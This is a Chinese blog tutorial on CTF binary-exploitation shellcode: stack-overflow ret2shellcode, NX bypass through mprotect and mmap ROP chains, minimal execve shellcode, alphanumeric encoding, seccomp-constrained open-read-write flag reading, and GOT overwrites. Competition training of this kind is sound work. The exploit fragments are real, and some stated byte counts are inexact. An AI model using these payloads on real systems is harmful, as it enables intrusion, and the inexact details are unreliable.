news 2026/4/15 13:38:43

CTF-PWN-shellcode实战技法精讲:从基础到沙箱绕过

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF-PWN-shellcode实战技法精讲:从基础到沙箱绕过

1. shellcode基础概念与实战价值

第一次接触CTF-PWN的选手看到shellcode这个词可能会觉得高大上,其实它就是一段能直接让CPU执行的机器码。想象你拿到一台被锁住的电脑,shellcode就像一把万能钥匙——通过精心构造的二进制指令,可以直接让系统乖乖听话。我在2015年参加某次线下赛时,就是靠一段27字节的shellcode逆袭拿下一血。

现代操作系统普遍采用NX(No-eXecute)保护机制,相当于给内存区域贴上了"禁止运行"的标签。但聪明的PWN手发现,只要找到标着"可执行"标签的内存区域(比如通过mprotect修改权限),就能把shellcode偷偷放进去执行。这里有个实用技巧:用vmmap命令查看内存权限时,重点关注带有"x"标记的区域。

2. 经典ret2shellcode实战详解

2.1 无保护场景下的直球攻击

先看这个典型场景:

// vuln.c char buf[256]; read(0, buf, 512); // 明显的栈溢出

checksec检查发现所有保护全关时,攻击就像玩填字游戏:

  1. 确定缓冲区的起始地址(比如0x7fffffffe000)
  2. 构造payload = shellcode + 填充字符 + 返回地址
  3. 把返回地址指向shellcode起始处

但实际比赛中这种"裸奔"题目越来越少,去年某高校校赛出了道变形题:程序在strcpy之后会随机修改shellcode前20个字节。我的解法是在shellcode开头插入20个nop指令(\x90),就像给子弹加了个缓冲垫。

2.2 突破NX保护的三种姿势

当遇到NX保护时,我常用的三板斧:

方法一:借用现成的可执行段

# 查找可执行段 readelf -l ./binary | grep 'R E' # 常见目标:.plt.sec, .init等 # 示例:利用程序自身的mprotect调用 payload = flat( pop_rdi_ret, 0x404000, # 地址 pop_rsi_ret, 0x1000, # 大小 pop_rdx_ret, 0x7, # RWX权限 mprotect_addr, shellcode_addr )

方法二:ROP链调用mmap去年DEFCON某道题就要求用mmap开辟新战场:

# 申请新的可执行内存 rop.call(mmap, [ 0x1337000, # 建议地址 0x1000, # 大小 7, # PROT_READ|PROT_WRITE|PROT_EXEC 34, # MAP_PRIVATE|MAP_ANONYMOUS -1, # fd 0 # offset ])

方法三:修改内存权限遇到有mprotect调用的题目就像中彩票:

# gdb验证权限变化 gdb-peda$ vmmap Before: 0x404000 0x405000 rw-p After: 0x404000 0x405000 rwxp

3. 特殊场景下的shellcode变形术

3.1 空间极度受限时的微shellcode

今年某CTF出现了仅允许16字节输入的变态题目,我的解决方案:

; 8字节万能起手式 xor esi, esi push rsi ; 8字节后门激活 mov al, 0x3b syscall

关键点在于利用现有寄存器状态,比如当rdi已经指向"/bin/sh"时,上述代码就能直接getshell。建议平时收集各种长度的shellcode模板,我常用的几个:

  • 7字节:push 0x3b; pop rax; syscall
  • 5字节:mov al, 0x3b; syscall(需rax未使用)

3.2 可见字符shellcode的自动化生成

当遇到过滤非ASCII字符的题目时,推荐使用alpha3工具链:

# 生成字母数字混合shellcode echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" > input.bin python ALPHA3.py x86 ascii mixedcase rax --input=input.bin

实测发现,生成的payload长度通常是原shellcode的3-4倍。去年某次比赛中,我不得不把execve("/bin/sh")改成execve("/sh")才满足长度限制。

3.3 逐字节写入的爆破技巧

遇到只能单字节写入的极端情况时,可以这样操作:

for i in range(len(shellcode)): p.send(chr(shellcode[i])) time.sleep(0.1) # 防止粘包

配合jmp $+offset指令实现代码拼接。有个冷知识:x86的jmp指令opcode是\xeb,后面跟1字节的相对偏移量。

4. 现代沙箱环境下的生存之道

4.1 常见沙箱规则分析

用seccomp-tools检测时,我特别关注这些关键点:

# 检查是否禁用execve seccomp-tools dump ./pwn | grep execve 0003: 0x3b 0x00 0x00 0x00000000 A = arch 0004: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 000B ... 0013: 0x06 0x00 0x00 0x00000000 return KILL

4.2 ORW技术深度优化

标准的open-read-write链可以这样优化:

# 使用寄存器复用减少指令数 shellcode = """ push 0x67616c66 # 'flag' mov rdi, rsp xor esi, esi mov al, 2 syscall /* open */ xchg edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall /* read */ mov edi, 1 mov eax, edi syscall /* write */ """

实测比pwntools生成的代码短15%左右。注意栈对齐问题,有时候需要加个sub rsp, 8

4.3 高级逃逸技术

当遇到全封闭沙箱时,可以尝试:

  1. 侧信道攻击:通过timing leak获取信息
  2. FSB+shellcode组合:用格式化字符串漏洞修改关键内存
  3. JIT喷射:在可写的JIT区域构造shellcode

某次真实比赛中,我通过修改ld.so的延迟绑定机制,成功绕过了所有保护。关键payload:

# 修改_dl_runtime_resolve的got表 payload = flat( pop_rdi_ret, got_addr, pop_rsi_ret, shellcode_addr, mov_rdi_rsi_ret )

5. 实战中的疑难杂症处理

5.1 坏字符处理手册

遇到\x00截断时,可以:

  • 使用mov al, <value>代替mov eax, <value>
  • xor ebx, ebx代替mov ebx, 0

\x0a被过滤时(常见于read函数):

# 改用send代替sendline p.send(payload.ljust(0x100, b'\x90'))

5.2 动态地址应对策略

对于ASLR开启的情况,我常用的三种方法:

  1. 栈喷:用大量nop滑梯提高命中率
    payload = b'\x90'*1024 + shellcode p.send(payload)
  2. 信息泄露:先泄露地址再构造二次攻击
  3. 部分覆写:针对地址低12位不变的特性

5.3 调试技巧汇编

GDB调试shellcode时,这些命令很实用:

# 查看内存中的shellcode x/30i $rip # 设置内存断点 b *0x7fffffffe010 # 检查寄存器状态 info reg rax rdi rsi

遇到玄学问题时,记得检查:

  • 栈是否16字节对齐
  • 系统调用号是否正确(32位和64位不同)
  • 字符串结束符位置

6. 武器库建设与训练建议

我的shellcode工具箱里常年备着这些资源:

  • 微型shellcode集合:按长度和功能分类存储
  • 编码转换工具:用于处理各种字符限制
  • 沙箱检测脚本:快速识别禁用系统调用

建议每天练习:

  1. 用不同方式实现同一功能(如打开文件)
  2. 尝试在越来越小的空间内完成getshell
  3. 模拟各种过滤条件编写shellcode

有次为了写出28字节的TCP反向shell,我花了整整三天反复优化寄存器分配。最终方案比网上公开的版本短了6个字节,这种成就感比拿到flag还爽。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 13:38:30

Python实战:用NumPy和SciPy搞定SPECIM高光谱RAW数据转MAT(附完整代码)

Python实战&#xff1a;用NumPy和SciPy搞定SPECIM高光谱RAW数据转MAT&#xff08;附完整代码&#xff09; 高光谱成像技术正在环境监测、农业遥感、医学诊断等领域掀起一场数据革命。SPECIM作为行业领先的高光谱相机品牌&#xff0c;其采集的RAW数据保留了最完整的光谱特征&…

作者头像 李华
网站建设 2026/4/15 13:34:32

基于物联网技术的智慧餐厅管理系统设计与实现(有完整资料)

资料查找方式&#xff1a;特纳斯电子&#xff08;电子校园网&#xff09;&#xff1a;搜索下面编号即可编号&#xff1a;T1032309M设计简介&#xff1a;本设计是基于物联网技术的智慧餐厅系统设计&#xff0c;主要实现以下功能&#xff1a;通过RFID感应模块通过对RFID卡进行监测…

作者头像 李华
网站建设 2026/4/15 13:33:29

3个实战技巧解决京东自动评价图片审核难题

3个实战技巧解决京东自动评价图片审核难题 【免费下载链接】jd_AutoComment 自动评价,仅供交流学习之用 项目地址: https://gitcode.com/gh_mirrors/jd/jd_AutoComment 你知道吗&#xff1f;我曾经连续3天熬夜调试京东自动评价脚本&#xff0c;每次都在最后一步——图片…

作者头像 李华